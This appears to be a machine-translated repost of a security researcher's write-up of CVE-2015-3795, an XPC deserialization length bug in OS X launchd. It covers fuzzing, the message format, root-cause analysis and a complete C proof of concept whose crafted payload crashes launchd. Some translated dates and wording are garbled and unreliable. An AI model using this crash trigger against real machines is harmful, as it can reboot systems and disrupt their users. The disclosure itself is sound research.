CVE-2015-3795

Source: Internet
Author: User
Tags cve

CVE-2015-3795

 

Http://blog.wuntee.sexy/CVE-2015-3795/

0x00 background

This vulnerability was reported to Apple in June 4. This vulnerability was fixed in the 10.10.5 security update released on April 9, August 13.

Related information:

Apple advisoryNIST-CVSS 9.3 0x01 mach_shark

I have mentioned mach_shark several times in my previous articles. One purpose of this tool is to create a small c-stub function, which allows you to replay mach messages. As mentioned earlier, MACH-based IPC has a concept of state. Although the c stub function generated by mach_shark does not implement all state control for interaction with any process. However, it still provides a starting point for minimal fuzz. I can send messages to the kernel or bootstrap/launchd.

So what can we do now? Find the most complex message that I can find to start the simplest fuzzer.

The biggest attack area is the open command. In particular, I'm very interested in how to open the browser by running a command like open http://wuntee.sexy with the right user data without opening it by default, so that it points to the URL.

After running the open command through mach_shark, review about 300 IPC requests. One of them looks like a good entry point. A very large and complex XPC message seems to contain some objective-c class names.

0x02 fuzzing and crashing

The output of the c-stub function mentioned above is very simple, but it constructs the correct MACH message and extracts the port from which the original message is to be connected. An output example is as follows:

#!phpkern_return_t ret=task_get_bootstrap_port(mach_task_self(),&bp);ret=bootstrap_look_up(bp,"com.apple.CoreServices.coreservicesd",&port);Unsignedchar payload[]={...};mach_msg_header_t* msg=(mach_msg_header_t*)payload;msg->msgh_remote_port=port;msg->msgh_local_port=MACH_PORT_NULL;msg->msgh_bits=MACH_MSGH_BITS_ZERO;msg->msgh_bits=MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND,MACH_MSG_TYPE_MAKE_SEND_ONCE,MACH_MSG_TYPE_COPY_SEND);mach_msg_return_t msg_ret=mach_msg_send(msg);

Through the payload obtained from the open command, I will start with a simple bytecode fuzzer. But directly send the message to bootstrap/launchd. I was excited to have a fuzzer run, and I made it run directly on my local host. I will continue to study other MACH payload, so that fuzzer can run in the background. After a few minutes, my machine rebooted because of a problem. At that time, I had only one sentence in my mind. There was no simpler way than that. No ..

The details of the cause that caused my machine to restart and how I debug the crash process can be found in Debugging launchd on OSX 10.10.3.

0x03 xpc serialization/deserialization

Then, put fuzzer In the VM to analyze the root cause of the crash. I can confirm that crash occurs when the XPC deserialization program calls strlen. This looks a bit strange.

So I started to dive into the XPC message structure. To this end, I created a visible service to receive XPC messages and a simple client program to send arbitrary messages. At the same time, I use the mach_shark tool to capture messages and record different payload structures.

The basic structure of the XPC payload I crawled is as follows:

#!php[xpc_message_header][xpc_type_$X_1]...[xpc_type_$X_n]

The header structure:

#!phptypedef struct __attribute__((packed)) {  u_int32_t magic;   // "!CPX"  u_int32_t version;   // "x05\x00\x00\x00"  u_int32_t type;  u_int32_t size;    // From the end of this on  u_int32_t num_entries;} xpc_message_header;

The following xpc_type _ $ X structure:

#!phptypedef struct __attribute__((packed)) {  char key[];      // null terminated  u_int32_t type;  u_int32_t size;    // From the end of this on  u_int32_t num_entries;  unsigned char payload[];} xpc_type_complex;typedef struct __attribute__((packed)) {  char key[];      // null terminated  u_int32_t type;  u_int32_t len;  char str_or_data[];} xpc_type_string_or_data;typedef struct __attribute__((packed)) {  char key[];      // null terminated  u_int32_t type;  u_int64_t value;  // Can be uint64, int64, uuid, double} xpc_type_value;typedef struct __attribute__((packed)) {  char key[];      // null terminated  u_int32_t type;   // Used for external data type like file descriptors and port rights} xpc_type_novalue;

For example:

#!bashmach message data:  21 43 50 58 05 00 00 00 00 f0 00 00 48 00 00 00  !CPX........H...  02 00 00 00 62 6f 6f 6c 5f 76 61 6c 75 65 5f 74  ....bool_value_t  72 75 65 00 00 20 00 00 01 00 00 00 73 74 72 69  rue.. ......stri  6e 67 5f 76 61 6c 75 65 00 00 00 00 00 90 00 00  ng_value........  11 00 00 00 74 68 69 73 20 69 73 20 61 20 73 74  ....this is a st  72 69 6e 67 00 00 00 00                          ring....21 43 50 58: Magic "!CPX"05 00 00 00: Version 500 f0 00 00: Type 'dictionary'48 00 00 00: Size 7202 00 00 00: 2 Entries62 6f 6f 6c 5f 76 61 6c 75 65 5f 74 72 75 65 00 00: Key 'bool_value_true' null terminated / padded00 20 00 00: Type 'boolean'01 00 00 00: Value 'true'73 74 72 69 6e 67 5f 76 61 6c 75 65 00 00 00 00: Key 'string_value' null terminated / padded00 90 00 00: Type 'string'11 00 00 00: Size 17, including null termination74 68 69 73 20 69 73 20 61 20 73 74 72 69 6e 67 00 00 00 00: Value 'this is a string'
0x04 root cause analysis

When I analyzed the crash, I had no idea why crash could be used on the strlen function (now I have figured it out ). To reproduce the crash, a large payload must be used, which makes it difficult to analyze the cause. What's more difficult is the crash of launchd. I cannot dynamically debug code. You have to use the coredumps mentioned in the previous article for analysis. I started to try to reverse the libxpc file, but this library is more complex than I thought. I switched to compile my own XPC message serialization analyzer ([de] serializer) to detect that paylaod triggered crash.

I use a pointer to iterate the beginning of each directory item, get this value, and create a new xpc_dictionary object. After writing this complex type, I get the following code:

#!cppfor(int i=0; i
 
  num_entries; i++){  ...  size_t key_len = strlen(ptr);  ...  ptr += key_len;  ...  switch(ptr->type){    case XPC_SERIALIZED_TYPE_COMPLEX: {      xpc_type_complex* dict_v = (xpc_type_complex*)ptr;      ...               // TKTK: Cant do this!! Size is user controlled      *next_entry = (char*)(&dict_v->num_entries) + dict_v->size;      break;    }    ...  }}
 

Note the annotations. // TKTK: Cant do this !! Size is user controlled. What I do is to build the raw memory data of the basic XPC message structure and process it based on the type. In this complex type, there is an entry named size, which needs to be set to the entire size value of this part of the XPC object. However, this value is controlled by the message builder. Therefore, it cannot be completely trusted.

When I run my deserialization program to process the payload that caused the crash, my code also crash at the strlen function. I told myself this is not a coincidence. After one-step tracking of my deserialization program, the reason is very clear. Like my code, the libxpc code trusts the length value of this complex type, the pointer value is added based on this value, and this is the address of the next key. If you set this value, the program will try to read a string from the current offset + 0xFFFFFFFF, which leads to A segfault.

0x05 prove my guess

The next step is to build an arbitrary payload to test this theory. Of course, I want to implement it using a program, so I wrote a library file that contains some custom xpc_objects to serialize them and package them into an original XPC package. To control the data of all XPC objects, I have to regenerate each custom type. Then I created a minimum payload to trigger the crash.

Because this is sent to launchd, I need a program to actually try deserializing my XPC object. Based on some of my previous research on launchctl, I know that a basic XPC structure needs to be sent. These include handle, subsystem, and routine keys. The code I use to process complex strings is as follows:

#!cppxpc_serialization_value* vals[4] = {0,0,0,0};vals[0] = create_xpc_serialization_uint64("handle", 1);vals[1] = create_xpc_serialization_uint64("subsystem", 1);vals[2] = create_xpc_serialization_string("a", "a");((xpc_string_value*)vals[2]->value_pointer)->len = -1;vals[3] = create_xpc_serialization_uint64("routine", 1);xpc_serialized_object* obj = serialize_xpc_object(vals, 4);// Print raw bytes of xpc_serialized_object// Output => {0x21, 0x43, 0x50, 0x58, 0x05, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x61, 0x00, 0x00, 0x00, 0x72, 0x6f, 0x75, 0x74, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

Code for triggering crash:

#!objc#include 
  
   void send_payload(void * xpc_payload, unsigned int xpc_payload_size){        unsigned int size = sizeof(mach_msg_header_t) + xpc_payload_size;        unsigned char* payload = calloc(size, sizeof(char));        memcpy(payload+sizeof(mach_msg_header_t), xpc_payload, xpc_payload_size);        mach_port_t port;        kern_return_t ret = task_get_bootstrap_port(mach_task_self(), &port);        mach_msg_header_t *msg = (mach_msg_header_t *)payload;        msg->msgh_id = 0x10000000;        msg->msgh_remote_port = port;        msg->msgh_local_port = MACH_PORT_NULL;        msg->msgh_bits = MACH_MSGH_BITS_ZERO;        msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);        mach_msg_return_t msg_ret;        msg->msgh_size = size;        msg_ret = mach_msg_send(msg);}int main(){        unsigned char payload[] = {0x21, 0x43, 0x50, 0x58, 0x05, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x61, 0x00, 0x00, 0x00, 0x72, 0x6f, 0x75, 0x74, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};        send_payload(payload, sizeof(payload));        return(0);}%
  

Analysis of payload, we can see:

#!bash21 43 50 58: Macing "!CPX"05 00 00 00: Version 500 f0 00 00: Type 'dictionary'5c 00 00 00: Size 0x5c04 00 00 00: 4 entries68 61 6e 64 6c 65 00 00: Key 'handle'00 40 00 00: Type 'uint64'01 00 00 00 00 00 00 00: Value 173 75 62 73 79 73 74 65 6d 00 00 00: Key 'subsystem'00 40 00 00: Type 'uint64'01 00 00 00 00 00 00 00: Value 161 00 00 00: Key 'a'00 90 00 00: Type 'string' ff ff ff ff: Size 0xFFFFFFFF    ** TRIGGER CRASH **61 00 00 00: Value 'a'72 6f 75 74 69 6e 65 00: Key 'routine'00 40 00 00: Type 'uint64'01 00 00 00 00 00 00 00: Value '1'

Apple has fixed a special example of this bug. However, before I audited 10.11, I found that the bug class still exists in the latest 10.10. In 10.11, Apple has changed the user space's 'Mach _ msg_send 'function to another function in libxpc. dylib, which does not need to use mach_msg_send. I have not found any crash in OS X 10.11 +.

0x06 impact and Utilization

It seems that osx ipc is being transferred to all programs using XPC. Although I did not test the XPC process kernel in every corner (I did not try too much), I found this bug in The OSX system PID1 process launchd (similar to init in Linux. In addition, many IPC services run with root permissions, and non-privileged users use XPC for communication. So if this bug can be exploited, it will be very dangerous.

This bug is an arbitrary forward read. From the proof of the basic theory, it is very difficult to exploit (my overflow exploitation technology is very insufficient ). Some theories I know:

This bug may be used to implement Memory leakage. If you can create a heap to make offset the key value of an XPC message, it will basically crash, because it blocks serialized data. Some more complex MACH messages include more complex logic functions. For example, the port transfer permission and the file descriptor permission. They may also have other code defects that may exploit the potential to cause crash.

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.